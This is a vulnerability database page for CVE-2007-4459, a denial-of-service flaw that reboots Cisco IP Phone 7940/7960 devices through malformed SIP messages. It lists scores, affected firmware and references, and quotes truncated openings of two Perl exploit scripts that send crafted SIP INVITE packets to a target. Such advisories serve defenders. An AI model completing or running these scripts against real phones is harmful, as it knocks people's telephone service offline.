Vulmon Recent Vulnerabilities Research Posts Trends Blog About Contact
7.1
CVSSv2

CVE-2007-4459

Published: 21/08/2007 Updated: 29/07/2017
CVSS v2 Base Score: 7.1 | Impact Score: 6.9 | Exploitability Score: 8.6
VMScore: 720
Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C
Subscribe to Cisco

Vulnerability Summary

Cisco IP Phone 7940 and 7960 with P0S3-08-6-00 firmware, and other SIP firmware prior to 8.7(0), allows remote malicious users to cause a denial of service (device reboot) via (1) a certain sequence of 10 invalid SIP INVITE and OPTIONS messages; or (2) a certain invalid SIP INVITE message that contains a remote tag, followed by a certain set of two related SIP OPTIONS messages.

Vulnerable Product Search on Vulmon Subscribe to Product

cisco voip phone cp-7960

cisco voip phone cp-7940 8.6

cisco voip phone cp-7940

cisco voip phone cp-7940 3.0

cisco voip phone cp-7940 3.1

cisco voip phone cp-7940 3.2

Exploits

Exploit DB: Cisco IP Phone 7940 - 3 SIP Messages Remote Denial of Service
#!/usr/bin/perl use IO::Socket::INET; die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]); $socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1], Proto=>'udp', PeerAddr=>$ARGV[0]); $msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/20\r\nVia: SIP/20/UDP\t19216812;rport;branch=00\r\nFrom: < ...
Exploit DB: Cisco IP Phone 7940 - 10 SIP Messages Remote Denial of Service
#!/usr/bin/perl use IO::Socket::INET; die "Usage $0 <dst-address> <dst-port> <dst_username> <src-address>" unless ($ARGV[3]); $socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1], Proto=>'udp', PeerAddr=>$ARGV[0]); $msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/20\r\nVia: SIP/20/UDP $A ...

References

CWE-20http://lists.grok.org.uk/pipermail/full-disclosure/2007-August/065401.htmlhttp://lists.grok.org.uk/pipermail/full-disclosure/2007-August/065402.htmlhttp://www.securityfocus.com/bid/25378http://secunia.com/advisories/26547http://www.cisco.com/warp/public/707/cisco-sr-20070821-sip.shtmlhttp://www.osvdb.org/36695http://securitytracker.com/id?1018591http://securityreason.com/securityalert/3042http://www.vupen.com/english/advisories/2007/2928https://exchange.xforce.ibmcloud.com/vulnerabilities/36125https://nvd.nist.govhttps://www.exploit-db.com/exploits/4297/
CVSSv2
CVSSv2
CVSSv3
VMScore
Recommendations:
CVE-2023-38002CVE-2006-4304CVE-2024-4336CVE-2024-33437CVE-2024-4340CVE-2024-27956privilegeinsecure direct object referenceXSSitem search icon">CVE-2024-25938
Vulnerability Notification Service
You don’t have to wait for vulnerability scanning results
Get Started

Vulmon Search

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

About

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Products

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Connect

Twitter Reddit Linkedin Facebook